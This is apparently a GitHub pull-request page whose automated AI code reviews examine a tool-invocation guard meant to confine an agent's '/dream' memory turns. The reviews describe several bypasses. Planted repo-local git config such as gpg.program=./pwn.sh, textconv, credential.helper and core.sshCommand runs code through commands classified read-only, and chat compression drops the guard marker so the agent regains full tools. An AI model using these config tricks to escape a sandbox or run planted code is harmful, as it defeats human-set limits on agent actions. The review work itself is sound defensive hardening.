建议修复：关闭类而非入口——当 risk.diffExternal || risk.diffTextconv 时，无条件把 diff/show/log/blame 视为可能动用 diff 机制，并删除标志枚举；把探针扩展到其余程序值配置键（gpg.program 族、log.showsignature）；或为 dream 回合的 git 调用中和仓库本地配置。补充 textconv+blame、log --patch-with-stat、gpg.program 的回归测试。
— qwen3.8-max via Qwen Code /review (v0.21.15)
| '--null', | ||
| '--get-regexp', | ||
| '^diff\\.external$|^core\\.fsmonitor$', | ||
| '^diff\\.external$|^diff\\..*\\.textconv$|^core\\.fsmonitor$', |
There was a problem hiding this comment.
[Critical] Probe half of the class-level finding anchored on shellAstParser.ts:1157: this --get-regexp pattern misses program-valued repo-local config keys beyond the three it greps. Demonstrated at this commit with real git 2.43: a repo with local log.showSignature=true and gpg.program=./pwn.sh (plus one signed commit) executes ./pwn.sh on plain flagless git log, while getLocalGitConfigRisk returns {diffExternal:false, diffTextconv:false, fsmonitor:false} — so the classifier gate never even consults a risk flag and the dream guard allows the call. git show passes the same way.
Suggested fix: add ^gpg\.program$|^gpg\.[a-z0-9]+\.program$ and ^log\.showsignature$ to this pattern, expose a risk flag, and mark log/show unsafe in localGitConfigMakesCommandUnsafe when it is set — or fold into the fail-closed direction proposed on the classifier anchor. The deeper issue is the unbounded enumeration itself: each round of this PR's review has surfaced a new program-valued key, which is the argument for closing the class structurally.
中文说明
这是锚定在 shellAstParser.ts:1157 的类级发现的探针侧：本 --get-regexp 模式遗漏了这三项之外的程序值仓库本地配置键。在本提交上用真实 git 2.43 实证：本地配置 log.showSignature=true 与 gpg.program=./pwn.sh（加一个带签名的提交）的仓库中，不带标志的 git log 会执行 ./pwn.sh，而 getLocalGitConfigRisk 返回 {diffExternal:false, diffTextconv:false, fsmonitor:false}——分类器门甚至不会参考任何风险标志，dream 守卫直接放行。git show 同样通过。
建议修复：在本模式中加入 ^gpg\.program$|^gpg\.[a-z0-9]+\.program$ 与 ^log\.showsignature$，暴露风险标志，并在其被设置时把 localGitConfigMakesCommandUnsafe 中的 log/show 标记为不安全——或并入分类器锚点处提出的失败即拒绝方向。更深层的问题是枚举本身无界：本 PR 的每轮评审都会发现新的程序值配置键，这正是应从结构上关闭该类的理由。
— qwen3.8-max via Qwen Code /review (v0.21.15)
| if (replacesUserTurnGuard) { | ||
| submitPromptToolInvocationGuardRef.current = undefined; | ||
| lastPromptToolInvocationGuardRef.current = undefined; | ||
| } |
There was a problem hiding this comment.
[Critical] The invariant this PR's comment above states — a command-provided guard belongs to one turn and is cleared/restored around preprocessing — has an uncovered exit: the goal-claim-deferred return (releaseSubmissionLease(); metadata.onGoalClaimDeferred?.(); return;, ~:3672-3677) leaves a freshly stamped submitPromptToolInvocationGuardRef in place without clearing it and without advancing the prompt counter, unlike the preprocessing-catch and !shouldProceed exits this PR patched.
Failure scenario: Cron submissions run full slash preprocessing and carry claimGoalTurn metadata whenever goalRequiresExactPermit, so a cron-scheduled guarded command (e.g. /dream) stamps the ref; when claimGoalTurn() returns undefined (the exact race onGoalClaimDeferred exists to handle), the stamp survives with the counter un-advanced. A later Teammate/Notification drain passes undefined promptId, generates the same <session>########N, matches the stamp at ~:3906, and runs under the dream policy — and the same match sets lastPromptToolInvocationGuardRef, so Ctrl+Y on an errored unrelated turn re-stamps the dream guard.
Witness — probe through the hook harness with the production drain metadata at this commit:
phase1: deferred=1 modelSends=0 promptCount=5 (stamp set, counter unadvanced)
phase2: teammate prompt_id=test-session-id########5 guardAttached=true scheduleCalls=1
flip (clear the owned stamp at the deferred exit): guardAttached=false,
existing guard tests in this file stay green
Suggested fix: at the deferred exit, drop a stamp owned by this submission before returning (the re-drain re-stamps via preprocessing):
if (submitPromptToolInvocationGuardRef.current?.promptId === prompt_id) {
submitPromptToolInvocationGuardRef.current = undefined;
lastPromptToolInvocationGuardRef.current = undefined;
}中文说明
本 PR 上方注释所述的不变量——命令提供的守卫只属于一个回合，并在预处理前后被清除/恢复——存在一个未覆盖的出口：goal 认领延迟返回（releaseSubmissionLease(); metadata.onGoalClaimDeferred?.(); return;，约 :3672-3677）会让新盖章的 submitPromptToolInvocationGuardRef 原样留下，既不清除也不推进提示计数器；而本 PR 修补的预处理 catch 与 !shouldProceed 两个出口都做了处理。
失败场景：Cron 提交会走完整的斜杠预处理，并且在 goalRequiresExactPermit 时携带 claimGoalTurn 元数据，因此被 cron 调度的受守卫命令（如 /dream）会盖上戳；当 claimGoalTurn() 返回 undefined（正是 onGoalClaimDeferred 要处理的竞态）时，戳存活且计数器未推进。之后 Teammate/Notification drain 传入 undefined promptId，生成相同的 <session>########N，在约 :3906 处与戳匹配，从而在 dream 策略下运行——同一匹配还会设置 lastPromptToolInvocationGuardRef，使得对一个出错的无关回合按 Ctrl+Y 时会重新盖上 dream 守卫。
证据——在本提交上用生产 drain 元数据驱动 hook 测试框架的探针：
phase1: deferred=1 modelSends=0 promptCount=5 （戳已设置，计数器未推进）
phase2: teammate prompt_id=test-session-id########5 guardAttached=true scheduleCalls=1
翻转（在延迟出口清除归属本提交的戳）：guardAttached=false，
本文件现有 guard 测试仍全部为绿
建议修复：在延迟出口返回前，丢弃归属本次提交的戳（重新 drain 时会经预处理重新盖章）：
if (submitPromptToolInvocationGuardRef.current?.promptId === prompt_id) {
submitPromptToolInvocationGuardRef.current = undefined;
lastPromptToolInvocationGuardRef.current = undefined;
}— qwen3.8-max via Qwen Code /review (v0.21.15)
| const runFullTurnOnComplete = async (): Promise<void> => { | ||
| const onComplete = fullTurnOnComplete; | ||
| fullTurnOnComplete = undefined; | ||
| if (!onComplete || fullTurnHadApiError) return; |
There was a problem hiding this comment.
[Critical] fullTurnHadApiError is set on any GeminiEventType.Error event (sites at :2451 and :2795) but is never reset anywhere — a session-wide latch. The R5-4 fix this latch implements (a failed turn must not fire onComplete) silently extends to a sibling state the diff never argues: a turn that hits a transient API error, recovers, and completes normally. That recovery sequence is designed-for: turn.ts yields Error after already yielding ToolCallRequest events, and geminiChat documents that a transport cut which delivered a functionCall is excluded from continuation recovery precisely because the scheduler's repair path (execute the batch, send the ToolResult follow-up) covers it.
Failure scenario: qwen -p "/dream" --output-format json — the first model call streams tool calls, then fails terminally (Error event; JSON mode does not throw). The batch executes and the dream memory files are written; the follow-up ToolResult send succeeds; the turn finalizes. At shouldFinalizeTurn, runFullTurnOnComplete sees the still-latched flag and skips writeDreamManualRun — and fullTurnOnComplete was already nulled, so it can never run again. A completed manual dream is never recorded, and per dream.ts's same-session dedupe contract the scheduler then permits a redundant automatic dream. The emitStructuredSuccess (--json-schema) path routes through the same helper.
Witness — probe at this commit (JSON mode, stream1 = [ToolCallRequest, Error], stream2 = finished):
HEAD: memory write executed (1x), ToolResult follow-up sent (2x sendMessageStream),
onComplete called 0 times (expected 1)
fix arm (reset fullTurnHadApiError before each stream consumption):
onComplete called 1x; all 5 existing onComplete tests stay green
Suggested fix: scope the latch to the model call that finalizes — reset fullTurnHadApiError = false at the top of each main-loop iteration (before sendMessageStream) or when a stream completes without an Error event, so only an error in the turn that actually ends the run gates onComplete.
中文说明
fullTurnHadApiError 在任何 GeminiEventType.Error 事件上被置位（:2451 与 :2795 两处），却没有任何重置点——一个贯穿整个会话的锁存器。这个锁存器实现的 R5-4 修复（失败回合不得触发 onComplete）被静默扩展到了 diff 从未论证的兄弟状态：回合遭遇瞬时 API 错误、随后恢复并正常完成。该恢复序列是被设计支持的：turn.ts 会在已经产出 ToolCallRequest 事件之后产出 Error 事件，且 geminiChat 明确记载——已投递过 functionCall 的传输中断被排除在续轮恢复之外，正是因为调度器的修复路径（执行该批次、发送 ToolResult 续发）会接管。
失败场景：qwen -p "/dream" --output-format json——首次模型调用先流出工具调用、随后终结性失败（Error 事件；JSON 模式不抛异常）。批次照常执行，dream 记忆文件被写入；随后的 ToolResult 续发成功；回合正常收尾。在 shouldFinalizeTurn 处，runFullTurnOnComplete 看到仍然锁存的标志便跳过 writeDreamManualRun——而 fullTurnOnComplete 已被置空，永远不会再运行。一次已完成的手动 dream 不被记录，按 dream.ts 的同会话去重契约，调度器随后会允许一次冗余的自动 dream。emitStructuredSuccess（--json-schema）路径也经由同一辅助函数。
证据——在本提交上的探针（JSON 模式，stream1 = [ToolCallRequest, Error]，stream2 = finished）：
HEAD：记忆写入已执行（1 次），ToolResult 续发已发出（sendMessageStream 2 次），
onComplete 被调用 0 次（期望 1 次）
修复臂（在每次消费流之前重置 fullTurnHadApiError）：
onComplete 被调用 1 次；现有 5 个 onComplete 测试全部保持为绿
建议修复：把锁存范围收窄到真正收尾的那次模型调用——在主循环每轮迭代顶部（sendMessageStream 之前）或流未出现 Error 事件完成时重置 fullTurnHadApiError = false，使只有真正终结本次运行的错误才门控 onComplete。
— qwen3.8-max via Qwen Code /review (v0.21.15)
…anual-dream
Resolve six conflicts, mostly main's Gemini -> Llm rename and module
moves; keep this branch's turn-scoped tool-invocation guard throughout:
- Session.test.ts: keep main's standalone-worktree tests and the branch's
turn-guard test.
- nonInteractiveCli.{ts,test.ts}: keep the branch's guard lifecycle on
main's llmClient / LlmEventType / mockLlmClient names.
- use-llm-stream.ts, client.test.ts, nonInteractiveToolExecutor.ts: union
of imports on main's renamed types and paths.
Two follow-on fixes the merge exposed:
- coreToolScheduler now clones every request at intake, so the guard
WeakMap (keyed by identity) missed; register the clones too, or the
guard is silently dropped before execution.
- memory-scoped-agent-config: main's createPinnedMemoryRoots takes
includeProjectMemory, so the branch's guard builder passes it.
Guard assertions relaxed to objectContaining — main's invocation now also
carries sessionId/cwd. tsc clean for core and cli; coreToolScheduler,
nonInteractiveToolExecutor, nonInteractiveCli, Session and memory suites
pass.
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
8 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:
- R7-4 walk-back branch coverage gap — already reported as R4-8 (comments 3777722490, 3784074965)
- R7-5 runtimeView+guard coverage gap — already reported as R4-7 (comment 3777722481)
- R7-13 interrupted-resume onComplete loss — already reported (comment 3784074905, carried R5-5)
- R7-16 negative-direction recovery test gap — already reported as R4-12 (comment 3777722519)
- R7-18 marker-less resume negative pin gap — already reported as R4-16 (comment 3777722553)
- R7-19 emitStructuredSuccess onComplete unpinned — already reported as R4-17 (comments 3777722559, 3784074977)
- R7-20 ACP eager recording / onComplete non-consumption — already reported as R4-15 (comment 3777722542) and R3-3 (comment 3773337877)
- R7-22 tool_result_parts recovery mode unpinned — already reported (comment 3784075042)
Not reviewed: build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and the full local test phase did not complete (per-call budget overrun); focused suites were run individually by review agents.
Not explored to full depth (tool budget reached): chunk 5: executing nonInteractiveCli.test.ts in vitest — worktree lacks installed deps/built dists, so correctness was verified by line-level trace only, not a test ru…; chunk 2: executing the new tests in Session.test.ts to confirm they pass (no node_modules in this review worktree; installing was out of budget) — verification was d…; "agent reverse-audit (round 2)": none — all reads in scope completed; ~29 of ~54 calls used..
Not reviewed: reverse audit — stopped before round 5 by the review time budget.
Not reviewed: verification and reverse audit — each ran and opened its brief, but neither was launched with the prompt the CLI built — the launches were written by hand, so the posted findings cannot be counted as verified, and what the agents were actually asked is not what this skill certifies.
Test Plan (not a blocker): src/core/tool-invocation-guard.test.ts — no such file or directory; src/core/coreToolScheduler.test.ts — no such file or directory; src/core/nonInteractiveToolExecutor.test.ts — no such file or directory; src/memory/dreamAgentPlanner.test.ts — no such file or directory; src/memory/memory-scoped-agent-config.test.ts — no such file or directory; and 10 more.
Deferred under the convergence posture (round 7, not a blocker) — recorded, not requested in this round:
packages/cli/src/nonInteractiveCli.test.ts:5686 — [probe] ServerGeminiStreamEvent annotation never imported — latent TS2304 behind the tsconfig excludepackages/cli/src/ui/hooks/use-llm-stream.test.tsx:11910 — [probe] exception-path guard restore (prepareQueryForLlm catch) has zero test coverage
Mechanism health: this round did not close cleanly, so it withholds the incremental anchor — and the round it recovered had no anchor this round could use either — none at all, one with no certifier, one certified by an identity other than the one this round runs under, or one this round's fetch refused or resolved to the head — so the next review re-reads the whole diff unless recovery grafts an earlier own anchor that the round running it can use onto the complete work list this round leaves behind, and keeps doing so until a round's marker carries an anchor again or a graft lands that the round running it can use. (Stated, not acted on — this changes nothing about what the round posts.)
中文说明
仅完成部分审查，审查缺口已披露。
本轮确认的 8 条建议级发现已在 PR 上报告过，不再重复发布（列表见上方英文部分）。
未审查：build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and the full local test phase did not complete (per-call budget overrun); focused suites were run individually by review agents。
未探索到全部深度（达到工具调用预算）：chunk 5：executing nonInteractiveCli.test.ts in vitest — worktree lacks installed deps/built dists, so correctness was verified by line-level trace only, not a test ru…；chunk 2：executing the new tests in Session.test.ts to confirm they pass (no node_modules in this review worktree; installing was out of budget) — verification was d…；"agent reverse-audit (round 2)"：none — all reads in scope completed; ~29 of ~54 calls used.。
未审查：反向审计——评审时间预算不足，未能开始第 5 轮。
未审查：验证与反向审计——两者都运行并打开了各自的 brief，但都不是用 CLI 构建的 prompt 启动的——启动 prompt 是手写的，发布的发现不能算作已验证，agent 实际被要求做的也不是本 skill 所认证的内容。
Test Plan（非阻断）：src/core/tool-invocation-guard.test.ts — no such file or directory; src/core/coreToolScheduler.test.ts — no such file or directory; src/core/nonInteractiveToolExecutor.test.ts — no such file or directory; src/memory/dreamAgentPlanner.test.ts — no such file or directory; src/memory/memory-scoped-agent-config.test.ts — no such file or directory; and 10 more。
收敛姿态下延后（第 7 轮，非阻断）——已记录，本轮不要求修改：共 2 条（原文未翻译，列表见上方英文部分）。
机制健康：本轮未能干净收尾，因而扣留了增量锚点，而它恢复到的那一轮也没有留下本轮可用的锚点——要么完全没有、要么没有认证者、要么由本轮运行身份之外的身份认证、要么被本轮的获取拒绝或解析为头提交——因此下一次评审将重读整个 diff，除非恢复流程把本轮能使用的更早自有锚点嫁接到本轮留下的完整工作清单上；并会一直如此，直到某一轮的标记重新带上锚点，或落地的嫁接能被运行该轮的评审使用。（仅陈述，不据此行动——这不改变本轮发布的任何内容。）
— qwen3.8-max via Qwen Code /review (v0.22.3)
| const toolInvocationGuard = vi | ||
| .fn() | ||
| .mockResolvedValue({ allowed: true as const }); | ||
| const client = new MockedGeminiClientClass(mockConfig); |
There was a problem hiding this comment.
[Critical] R7-1: Four of the new TUI guard tests this PR adds still reference identifiers from before the Gemini→Llm rename that landed on main while this branch was in review — ServerGeminiEventType (14 value-position uses, first around line 11730; the file imports only LlmEventType as ServerLlmEventType) and MockedGeminiClientClass (this line; the file's harness class is MockedLlmClientClass). Neither symbol is defined anywhere in the package, so the mocked stream generators throw a ReferenceError at the first yield and none of the four tests — scopes a submit_prompt tool guard to that user turn, retains a failed guarded turn across a handled command and retry, does not reuse a guarded retry prompt id for an automated turn, retains a guard when a duplicate-only outer turn nests a tool continuation — can execute. The TUI-side guard coverage this PR claims is therefore zero in practice, and Test (ubuntu-latest, Node 22.x) is red at this head for exactly this reason. Renaming the identifiers makes all four pass — the production wiring is fine, only the test code was left pre-rename — which also restores the live pins for the handled-command restore, the retry counter advance, and the duplicate-only continuation this suite is meant to provide.
Witness:
npx vitest run src/ui/hooks/use-llm-stream.test.tsx (at this commit)
→ Tests 4 failed | 2 passed | 252 skipped — all 4 failures are this PR's new tests
× scopes a submit_prompt tool guard to that user turn — mockScheduleToolCalls Number of calls: 0
× retains a guard when a duplicate-only outer turn nests a tool continuation — ReferenceError: MockedGeminiClientClass is not defined
| const client = new MockedGeminiClientClass(mockConfig); | |
| const client = new MockedLlmClientClass(mockConfig); |
中文说明
本 PR 新增的四个 TUI 守卫测试仍引用 Gemini→Llm 重命名之前的标识符（该重命名在分支评审期间进入了 main）——ServerGeminiEventType（14 处值位置引用，首处约在 11730 行；本文件只导入了 LlmEventType as ServerLlmEventType）和 MockedGeminiClientClass（此行；文件的 harness 类是 MockedLlmClientClass）。两个符号在包内均无定义，mock 的流生成器在第一次 yield 时抛出 ReferenceError，因此四个测试（scopes a submit_prompt tool guard to that user turn、retains a failed guarded turn across a handled command and retry、does not reuse a guarded retry prompt id for an automated turn、retains a guard when a duplicate-only outer turn nests a tool continuation）全部无法执行。本 PR 声称的 TUI 侧守卫覆盖实际为零，且 Test (ubuntu-latest, Node 22.x) 在此 head 上正因该原因变红。重命名标识符即可使四个测试全部通过——生产接线没有问题，只是测试代码未随重命名同步——这同时恢复本套件本应提供的 handled-command restore、retry 计数器推进与 duplicate-only 续轮的固化。
证据：
npx vitest run src/ui/hooks/use-llm-stream.test.tsx （本提交）
→ Tests 4 failed | 2 passed | 252 skipped —— 4 个失败全部是本 PR 的新测试
— qwen3.8-max via Qwen Code /review (v0.22.3)
| '--get-regexp', | ||
| '^diff\\.external$|^core\\.fsmonitor$', | ||
| '^diff\\.external$|^diff\\..*\\.textconv$|^core\\.fsmonitor$', |
There was a problem hiding this comment.
[Critical] R6-6: [certifies-falsely] The class-level finding from round 6 still stands: the repo-local-git-config code-execution surface is unbounded, and this round demonstrates six more entrances, each probe-verified at this commit against real git 2.43.0 — a command the classifier certifies read-only executes attacker-planted local config, which the dream guard's shell allow-rule then permits. (1) logShowsPatch (shellAstParser.ts:1135-1139) exact-matches ['-p','-u','--patch'] and misses --patch-with-stat, --patch-with-raw, -U<n>/--unified[=<n>]; real git ran the configured textconv for all four while the classifier returned read-only. (2) Bundled short flags git log -up / git log -pu enable patch output and miss the same exact-match — textconv executed, classified read-only. (3) git blame applies textconv by default but sits only in canUseFsmonitor (shellAstParser.ts:1142-1146) — textconv executed on git blame a.bin, classified read-only. (4) credential.helper is invisible to this probe regex, so git remote show origin against a 401 remote executed a locally planted !-helper while classified read-only. (5) core.sshCommand/core.gitProxy are equally invisible — git remote show origin over an ssh remote executed the planted ssh command (exit 128) while classified read-only. (6) The new textconv detector requires a non-empty subsection (/^diff\..+\.textconv$/i, this file lines 78-80) while this probe regex fetches the empty-subsection shape (diff\..*\.textconv) — local diff..textconv is fetched but never classified, and real git diff executed the hook. Round 6's probe-half R6-7 remains open in the same class: log.showSignature=true + gpg.program is still invisible to the probe. Every round patches entrances and more appear; close the surface structurally instead — fail closed for read-only git commands whenever program-valued repo-local config exists that git can invoke, or enumerate the whole helper-invoking family and downgrade every subcommand that consumes it. The fix must not violate what this diff's own tests pin: git log --oneline stays read-only under textconv config and git remote -v stays read-only when no risk is present (shellAstParser.test.ts:1249, 525-527), and only local/worktree scope may count — lines 70-74 below — since globally-set helpers are the user's own trusted config.
Witness:
Probe vs real git 2.43.0 at this commit (local config planted per entrance):
git log --patch-with-stat/-with-raw/-U1/--unified=1 → textconv EXECUTED (marker created) | classifier read-only=true
git log -up -1 / -pu -1 → textconv EXECUTED | read-only=true
git blame a.bin (diff.drv.textconv) → textconv EXECUTED | read-only=true
git remote show origin (credential.helper='!cmd', 401 stub) → helper EXECUTED | read-only=true
git remote show origin (core.sshCommand, ssh remote) → ssh command EXECUTED (exit 128) | read-only=true
git diff (local diff..textconv, empty subsection) → hook EXECUTED | risk.diffTextconv=false | read-only=true
Fix arms flip each to read-only=false while git log --oneline / git remote -v stay true.
中文说明
第 6 轮的类级发现仍然成立：仓库本地 git 配置的代码执行面是无界的，本轮又验证出六个新的入口，均在本提交上用真实 git 2.43.0 探针实测——分类器认证为只读的命令执行了攻击者植入的本地配置，而 dream 守卫的 shell 放行规则随后允许了它。(1) logShowsPatch（shellAstParser.ts:1135-1139）精确匹配 ['-p','-u','--patch']，遗漏 --patch-with-stat、--patch-with-raw、-U<n>/--unified[=<n>]；真实 git 对四者都执行了配置的 textconv，而分类器返回只读。(2) 组合短旗标 git log -up / git log -pu 同样启用 patch 输出并绕过精确匹配——textconv 被执行，分类为只读。(3) git blame 默认应用 textconv，但只位于 canUseFsmonitor（shellAstParser.ts:1142-1146）——git blame a.bin 执行了 textconv，分类为只读。(4) credential.helper 对该探测正则不可见，git remote show origin 面对 401 远端时执行了本地植入的 ! 助手，分类为只读。(5) core.sshCommand/core.gitProxy 同样不可见——ssh 远端上的 git remote show origin 执行了植入的 ssh 命令（exit 128），分类为只读。(6) 新的 textconv 检测器要求非空小节（/^diff\..+\.textconv$/i，本文件 78-80 行），而探测正则却获取空小节形态（diff\..*\.textconv）——本地 diff..textconv 被获取却永不被归类，真实 git diff 执行了该钩子。第 6 轮的探针半体 R6-7 仍开放于同一类中：log.showSignature=true + gpg.program 仍不为探测所见。每一轮修补入口、又出现更多入口；请改为结构性收口——只要存在 git 可调用的程序值本地配置，就对只读 git 命令失败关闭，或枚举整个会调用助手的配置族并降级所有消费它的子命令。修复不得违反本 diff 自身测试所固化的内容：textconv 配置下 git log --oneline 保持只读、无风险时 git remote -v 保持只读（shellAstParser.test.ts:1249、525-527），且只计 local/worktree 作用域（下方 70-74 行）——全局配置的助手是用户自己的可信配置。
证据：
本提交上对真实 git 2.43.0 的探针（按入口植入本地配置）：六个入口均为「真实 git 执行了植入命令，分类器返回 read-only=true」；
各自修复臂翻转为 read-only=false，且 git log --oneline / git remote -v 保持 true。
— qwen3.8-max via Qwen Code /review (v0.22.3)
| // This is persisted provenance, not an environment reminder. Keeping it out | ||
| // of <system-reminder> avoids suppressing real environment reminders when an | ||
| // interrupted Dream turn is recovered. | ||
| export const MANUAL_DREAM_TOOL_GUARD_MARKER = |
There was a problem hiding this comment.
[Critical] R7-9: [certifies-falsely] [new-surface] The marker is the sole persisted provenance for the /dream turn guard, but mid-turn chat compression summarizes the ENTIRE history with no tail preservation (chatCompressionService.ts:511-515), erasing every marker entry. composePostCompactHistory rebuilds [user(summary), model(ack), user(attachments), model(trailingFc)?] from model-authored summary text carrying no literal marker, while trailingFunctionCallContent keeps the turn in-flight. From then on every preserveManualDreamToolGuardMarker site (client.ts:4015/4176/4351/4485, Session.ts preserveTurnPolicy) re-derives false and stamps nothing. Dream consolidation turns are tool-heavy and long enough to hit compression (proactively at each continuation send, llm-chat.ts:2849, or reactively on overflow, llm-chat.ts:3608); if the session is then interrupted or restarted — the exact case the marker and both recovery call sites (nonInteractiveCli.ts:1117, Session.ts:5000) exist for — recovery derives no guard and the remainder of the dream turn executes with the main Agent's full tool surface: writes outside managed memory, edits to pinned/ paths, and non-read-only shell, while the turn still presents as /dream-bounded. That is also the injection vector the guard exists to contain, since consolidation ingests arbitrary memory/transcript files. Carry the provenance across compression — e.g. re-stamp the marker onto the post-compact history when the pre-compression history is a dream turn — and add a regression test on the compression path. Any re-stamp must go INSIDE the merged post-compact attachment user Content: postCompactAttachments.ts:795-801 merges the attachments into a single user Content because separate same-role entries are rejected by providers as 400.
Witness:
Probe at this commit driving the real functions:
composePostCompactHistory([user(marker+dream), model(fc), user(fr), model(fc)], 'SUMMARY')
→ rebuilt history contains no marker substring; trailing functionCall preserved
→ isManualDreamToolGuardTurn(compacted) === false
→ preserveManualDreamToolGuardMarker(compacted, [stop-hook feedback]) adds no marker
中文说明
该标记是 /dream 回合守卫唯一的持久化来源，但回合中的聊天压缩会把整段历史概括、且不保留尾部（chatCompressionService.ts:511-515），所有标记条目被抹除。composePostCompactHistory 用模型生成的摘要文本重建 [user(summary), model(ack), user(attachments), model(trailingFc)?]，其中不含字面标记，而 trailingFunctionCallContent 使回合仍在进行中。此后所有 preserveManualDreamToolGuardMarker 调用点（client.ts:4015/4176/4351/4485、Session.ts 的 preserveTurnPolicy）都推导为 false、不再盖章。Dream 整合回合工具密集、足够长，会触发压缩（每次续轮发送前的主动压缩 llm-chat.ts:2849，或溢出时的被动压缩 llm-chat.ts:3608）；若此后会话被中断或重启——正是标记与两个恢复调用点（nonInteractiveCli.ts:1117、Session.ts:5000）存在的场景——恢复推导不出守卫，dream 回合的剩余部分将以主 Agent 的完整工具面执行：托管记忆之外的写入、对 pinned/ 路径的修改、非只读 shell，而回合表面上仍是 /dream 受限。这也是守卫本要遏制的注入向量，因为整合会摄取任意记忆/转录文件。请让来源跨越压缩存续——例如压缩前历史是 dream 回合时，在压缩后的历史上重新盖章标记——并为压缩路径添加回归测试。任何重新盖章必须放在合并后的 post-compact attachment 用户 Content 内部：postCompactAttachments.ts:795-801 将附件合并为单个用户 Content，因为同角色分立条目会被 provider 以 400 拒绝。
证据：
本提交上驱动真实函数的探针：
composePostCompactHistory([user(marker+dream), model(fc), user(fr), model(fc)], 'SUMMARY')
→ 重建后的历史不含标记子串；尾部 functionCall 被保留
→ isManualDreamToolGuardTurn(compacted) === false
→ preserveManualDreamToolGuardMarker(compacted, [stop-hook feedback]) 不添加标记
— qwen3.8-max via Qwen Code /review (v0.22.3)
| if (event.type === LlmEventType.Error) { | ||
| fullTurnHadApiError = true; | ||
| } | ||
| // Use adapter for all event processing |
There was a problem hiding this comment.
[Critical] R6-9: Round-6 blocker re-checked at this commit — still stands. fullTurnHadApiError is set on any LlmEventType.Error event (this site and the drain-loop site at ~2805) and is never reset anywhere: the file has exactly four references (declaration at 1088, the runFullTurnOnComplete gate at 1595, and the two set sites). In JSON/STREAM_JSON modes an Error event does not end the run — turn.ts yields Error after already-yielded ToolCallRequest events, the batch executes, the ToolResult follow-up send succeeds, and the turn finalizes normally with the flag still latched. Concretely: qwen -p "/dream" --output-format json where the first model call streams tool calls then fails terminally — the dream memory files are written, the follow-up succeeds, and at shouldFinalizeTurn the latched flag skips writeDreamManualRun; fullTurnOnComplete was already nulled, so it can never run again. A completed manual dream is never recorded, and the scheduler's same-session dedupe (manager.ts:996) then permits a redundant automatic dream. The emitStructuredSuccess (--json-schema) path routes through the same helper. Scope the latch to the model call that actually finalizes the run — reset it at the top of each main-loop iteration or when a stream completes without an Error. The test that must pin this: a new case with stream1 = [ToolCallRequest, Error] and a successful ToolResult follow-up asserting writeDreamManualRun fires once — remove the reset and it must go red, while the existing it.each 'does not run onComplete after an API error' cases stay green.
Witness:
Code at this commit: grep fullTurnHadApiError packages/cli/src/nonInteractiveCli.ts
→ 1088 (let), 1595 (gate), 2459/2805 (sets) — no reset site exists.
Round-6 probe (JSON mode, stream1=[ToolCallRequest, Error], stream2=finished):
HEAD: memory write executed, ToolResult follow-up sent, onComplete called 0 times (expected 1)
fix arm (reset before each stream consumption): onComplete called 1x, existing onComplete tests green
中文说明
第 6 轮的阻断项在本提交上复查——仍然成立。fullTurnHadApiError 在任何 LlmEventType.Error 事件上置位（此处与约 2805 行的 drain 循环处），且没有任何重置点：文件中仅有四处引用（1088 行声明、1595 行 runFullTurnOnComplete 门控、两处置位）。在 JSON/STREAM_JSON 模式下，Error 事件不会结束运行——turn.ts 在已产出 ToolCallRequest 事件之后产出 Error，批次照常执行，ToolResult 续发成功，回合以仍被锁存的标志正常收尾。具体地：qwen -p "/dream" --output-format json，首次模型调用先流出工具调用后终结性失败——dream 记忆文件已写入、续发成功，而在 shouldFinalizeTurn 处锁存标志跳过 writeDreamManualRun；fullTurnOnComplete 已被置空，永远不会再运行。一次已完成的手动 dream 不被记录，调度器的同会话去重（manager.ts:996）随后允许一次冗余的自动 dream。emitStructuredSuccess（--json-schema）路径经由同一辅助函数。请把锁存范围收窄到真正收尾本次运行的那次模型调用——在主循环每轮迭代顶部或流未出现 Error 完成时重置。必须固化此行为的测试：新增用例，stream1 = [ToolCallRequest, Error] 且 ToolResult 续发成功，断言 writeDreamManualRun 触发一次——移除该重置后测试必须变红，且现有 it.each『API error 后不运行 onComplete』用例保持为绿。
证据：
本提交代码：grep fullTurnHadApiError → 1088（let）、1595（门控）、2459/2805（置位）——不存在重置点。
第 6 轮探针（JSON 模式，stream1=[ToolCallRequest, Error]，stream2=finished）：
HEAD：记忆写入执行、ToolResult 续发发出、onComplete 调用 0 次（期望 1 次）
修复臂（每次消费流前重置）：onComplete 调用 1 次，现有 onComplete 测试全绿
— qwen3.8-max via Qwen Code /review (v0.22.3)
4 participants
What this PR does
This PR extends deterministic pinned-memory protection to user-visible
/dreamturns that run on the main Agent. The slash command now carries a turn-scoped tool-invocation guard through interactive TUI, non-interactive/headless, and ACP execution, including tool-result and Stop-hook continuations for the same prompt. The guard reuses the forked Dream worker's tool surface and filesystem boundary: ordinary project managed-memory writes and read-only inspection remain available, while direct or symlinked writes topinned/, user-memory writes, mutating shell commands, and unrelated tools are denied. Existing host guards are still composed with the turn guard, and automatic notification drains, retries of unrelated prompts, reused scheduler requests, and the next user turn do not inherit it.Why it's needed
#7714 protects forked scheduled/workspace Dream workers, but visible
/dreamruns as a main-Agentsubmit_promptturn and previously relied only on prompt instructions. A model could ignore that instruction and attempt to mutate pinned memory. A per-turn invocation guard closes that deterministic enforcement gap without changing session-wide permissions or restricting ordinary prompts.Reviewer Test Plan
How to verify
Run the focused guard and propagation suites:
On the current head synchronized with
mainatabfd44369860b53aff1b0607ff983be6a0a98bfa, the refreshed focused Core suite passed 739/739 tests, 85 selected CLI propagation and recovery tests passed across seven files, and Core/CLI typechecks passed. The fixtures verify ordinary project-memory writes remain allowed, direct and symlinked pinned writes are denied, user-memory and mutating-shell attempts are denied, existing host guards still win, and the guard does not leak to unrelated turns.Repository checks run locally:
npm run typecheck npm run lint --workspace @qwen-code/qwen-code-core npm run lint --workspace @qwen-code/qwen-code git diff --name-only -z upstream/main..HEAD | xargs -0 npx prettier --check npm run build git diff --check upstream/main..HEADEvidence (Before & After)
N/A — this is a non-visual permission-boundary change. Automated tests exercise denial, composition, continuation, and no-leak behavior.
Tested on
Environment (optional)
macOS arm64, Node.js v26.5.0, npm 11.17.0. Windows and Linux are left to CI.
Risk & Scope
/dreamturn without becoming session-wide; prompt identity, scheduler-request isolation, notification-drain, retry, and next-turn tests cover this boundary./forget, and a pinned-memory UI indicator.Linked Issues
Refs #6801
Follow-up to #7714.
中文说明
本 PR 做了什么
本 PR 将确定性的 pinned-memory 保护扩展到在主 Agent 上运行、用户可见的
